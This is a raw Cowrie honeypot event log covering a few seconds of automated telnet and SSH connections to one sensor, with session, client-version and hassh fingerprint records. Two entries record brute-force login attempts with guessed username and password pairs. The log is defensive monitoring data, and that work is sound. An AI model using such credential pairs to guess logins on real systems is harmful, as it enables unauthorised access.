{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":57956,"dst_ip":"10.17.0.5","dst_port":23,"session":"53433e1f1da0","protocol":"telnet","message":"New connection: 216.238.80.67:57956 (10.17.0.5:23) [session: 53433e1f1da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:56.183267Z"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:56.219745Z","src_ip":"194.59.206.2","session":"1b4cb11baae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":34378,"dst_ip":"10.17.0.5","dst_port":23,"session":"69b0543171db","protocol":"telnet","message":"New connection: 103.249.100.206:34378 (10.17.0.5:23) [session: 69b0543171db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:56.390477Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":34472,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd40a2f28e9","protocol":"telnet","message":"New connection: 103.249.100.206:34472 (10.17.0.5:23) [session: 3fd40a2f28e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:56.525301Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":60712,"dst_ip":"10.17.0.5","dst_port":23,"session":"e899c6151d4b","protocol":"telnet","message":"New connection: 103.249.100.206:60712 (10.17.0.5:23) [session: e899c6151d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:56.546414Z"}
{"eventid":"cowrie.session.closed","duration":31.029760122299194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:56.782800Z","src_ip":"216.238.80.67","session":"3b5888392c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.367838621139526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:56.862967Z","src_ip":"216.238.80.67","session":"61a84d185640","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:57.101478Z","src_ip":"194.59.206.2","session":"1b4cb11baae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":33258,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b1aa4dcb03e","protocol":"telnet","message":"New connection: 103.249.100.206:33258 (10.17.0.5:23) [session: 2b1aa4dcb03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:57.286422Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":57022,"dst_ip":"10.17.0.5","dst_port":23,"session":"f42a6ae4a73f","protocol":"telnet","message":"New connection: 216.238.80.67:57022 (10.17.0.5:23) [session: f42a6ae4a73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:57.601762Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":36924,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a45c1be9176","protocol":"telnet","message":"New connection: 103.249.100.206:36924 (10.17.0.5:23) [session: 6a45c1be9176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:57.738295Z"}
{"eventid":"cowrie.session.closed","duration":31.72488284111023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:57.999286Z","src_ip":"103.249.100.206","session":"e1ff2b550f91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26420497894287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:58.045971Z","src_ip":"216.238.80.67","session":"b20ce7324b63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50592,"dst_ip":"10.17.0.5","dst_port":23,"session":"b04fdd9795dc","protocol":"telnet","message":"New connection: 137.184.155.248:50592 (10.17.0.5:23) [session: b04fdd9795dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:58.191617Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":60046,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc724da584f7","protocol":"telnet","message":"New connection: 216.238.80.67:60046 (10.17.0.5:23) [session: cc724da584f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:58.335634Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38062,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9d10452ba35","protocol":"telnet","message":"New connection: 103.249.100.206:38062 (10.17.0.5:23) [session: a9d10452ba35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:58.837007Z"}
{"eventid":"cowrie.session.closed","duration":31.111501455307007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:58.886612Z","src_ip":"103.249.100.206","session":"c7b15dc4814b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12865447998047,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:59.116527Z","src_ip":"103.249.100.206","session":"3dd4ac87b1a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.314655303955078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:59.168833Z","src_ip":"103.249.100.206","session":"421d4007a604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993990898132324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:59.354876Z","src_ip":"216.238.80.67","session":"86c705976a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":33056,"dst_ip":"10.17.0.5","dst_port":23,"session":"bed7a59eb0c0","protocol":"telnet","message":"New connection: 216.238.80.67:33056 (10.17.0.5:23) [session: bed7a59eb0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:59.733104Z"}
{"eventid":"cowrie.session.closed","duration":31.534183979034424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:00.727653Z","src_ip":"103.249.100.206","session":"c45cea521e2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":39994,"dst_ip":"10.17.0.5","dst_port":23,"session":"12de72423fa4","protocol":"telnet","message":"New connection: 103.249.100.206:39994 (10.17.0.5:23) [session: 12de72423fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:00.842393Z"}
{"eventid":"cowrie.session.closed","duration":31.51360034942627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:01.818822Z","src_ip":"103.249.100.206","session":"a98d78981a96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":40890,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac336282282e","protocol":"telnet","message":"New connection: 103.249.100.206:40890 (10.17.0.5:23) [session: ac336282282e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:02.103815Z"}
{"eventid":"cowrie.session.closed","duration":31.575316905975342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:02.538606Z","src_ip":"216.238.80.67","session":"b774b98300f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.763381481170654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:02.956620Z","src_ip":"103.249.100.206","session":"60e2b4fe8baf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795111417770386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:03.101172Z","src_ip":"216.238.80.67","session":"de899a0962d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.402313947677612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:03.250650Z","src_ip":"216.238.80.67","session":"4e3b7f3db07d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":36276,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f5e66790815","protocol":"telnet","message":"New connection: 216.238.80.67:36276 (10.17.0.5:23) [session: 4f5e66790815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:03.876838Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":36768,"dst_ip":"10.17.0.5","dst_port":23,"session":"135affe94c21","protocol":"telnet","message":"New connection: 216.238.80.67:36768 (10.17.0.5:23) [session: 135affe94c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:04.505948Z"}
{"eventid":"cowrie.session.closed","duration":31.672112464904785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:04.563195Z","src_ip":"103.249.100.206","session":"4a37c066e3f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.220728397369385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:04.603439Z","src_ip":"103.249.100.206","session":"9ad9c037f573","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":41974,"dst_ip":"10.17.0.5","dst_port":23,"session":"32417a6ef606","protocol":"telnet","message":"New connection: 103.249.100.206:41974 (10.17.0.5:23) [session: 32417a6ef606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:04.616809Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":42949,"dst_ip":"10.17.0.5","dst_port":23,"session":"70fbb99db700","protocol":"telnet","message":"New connection: 103.249.100.206:42949 (10.17.0.5:23) [session: 70fbb99db700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:04.640501Z"}
{"eventid":"cowrie.session.closed","duration":30.81345844268799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:05.134814Z","src_ip":"216.238.80.67","session":"81a4c634f290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39666509628296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:05.733904Z","src_ip":"103.249.100.206","session":"bf52fd1019ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.083752155303955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:05.810021Z","src_ip":"103.249.100.206","session":"be09d2f300cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":35656,"dst_ip":"10.17.0.5","dst_port":23,"session":"43f7f03c70f6","protocol":"telnet","message":"New connection: 216.238.80.67:35656 (10.17.0.5:23) [session: 43f7f03c70f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:06.124469Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":37780,"dst_ip":"10.17.0.5","dst_port":23,"session":"b654863faa0b","protocol":"telnet","message":"New connection: 216.238.80.67:37780 (10.17.0.5:23) [session: b654863faa0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:06.286189Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":43910,"dst_ip":"159.203.135.109","dst_port":22,"session":"6431fcec5189","protocol":"ssh","message":"New connection: 102.211.152.138:43910 (159.203.135.109:22) [session: 6431fcec5189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:06.467145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:06.472270Z","src_ip":"102.211.152.138","session":"6431fcec5189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:06.580343Z","src_ip":"102.211.152.138","session":"6431fcec5189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38452,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e40034736b9","protocol":"telnet","message":"New connection: 103.249.100.206:38452 (10.17.0.5:23) [session: 6e40034736b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:06.587787Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":44900,"dst_ip":"10.17.0.5","dst_port":23,"session":"58a1afa086bd","protocol":"telnet","message":"New connection: 103.249.100.206:44900 (10.17.0.5:23) [session: 58a1afa086bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:06.680396Z"}
{"eventid":"cowrie.session.closed","duration":31.759462594985962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:06.883054Z","src_ip":"103.249.100.206","session":"838dc8a5d62d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35521173477173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:06.890946Z","src_ip":"103.249.100.206","session":"dda096de57ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":38156,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fe2f58ed79a","protocol":"telnet","message":"New connection: 216.238.80.67:38156 (10.17.0.5:23) [session: 0fe2f58ed79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:07.040642Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@123","message":"login attempt [ubuntu/Ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:07.047098Z","src_ip":"102.211.152.138","session":"6431fcec5189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.38033437728882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:07.650729Z","src_ip":"216.238.80.67","session":"6da41a9ae42f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.346914529800415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:07.656065Z","src_ip":"216.238.80.67","session":"a845eaa6b187","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":60441,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcd9f3d9229e","protocol":"ssh","message":"New connection: 178.27.90.142:60441 (159.203.135.109:22) [session: bcd9f3d9229e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:07.718653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:07.723958Z","src_ip":"178.27.90.142","session":"bcd9f3d9229e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:07.826318Z","src_ip":"178.27.90.142","session":"bcd9f3d9229e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.52005171775818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:08.060079Z","src_ip":"216.238.80.67","session":"bee8264ac84a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992497444152832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:08.143767Z","src_ip":"216.238.80.67","session":"89eb86c937df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:08.158371Z","src_ip":"102.211.152.138","session":"6431fcec5189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password00","message":"login attempt [root/password00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:08.275911Z","src_ip":"178.27.90.142","session":"bcd9f3d9229e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.40346622467041,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:08.685445Z","src_ip":"103.249.100.206","session":"158df81c2491","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8769109249115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:08.717953Z","src_ip":"103.249.100.206","session":"861e21519c24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.731539011001587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:08.847520Z","src_ip":"103.249.100.206","session":"1191ce34c458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273539066314697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:09.271209Z","src_ip":"103.249.100.206","session":"d7cd94f83d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":39832,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbd24064fec0","protocol":"telnet","message":"New connection: 216.238.80.67:39832 (10.17.0.5:23) [session: bbd24064fec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:09.315898Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:09.376664Z","src_ip":"178.27.90.142","session":"bcd9f3d9229e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.8657066822052,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:09.993620Z","src_ip":"103.249.100.206","session":"d34d63355974","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861712217330933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:10.064668Z","src_ip":"216.238.80.67","session":"10dbc16d5c86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":45398,"dst_ip":"10.17.0.5","dst_port":23,"session":"325cb7fea17c","protocol":"telnet","message":"New connection: 103.249.100.206:45398 (10.17.0.5:23) [session: 325cb7fea17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:10.179861Z"}
{"eventid":"cowrie.session.closed","duration":31.002025842666626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:10.341321Z","src_ip":"103.249.100.206","session":"d1c62b539ed8","protocol":"telnet"}
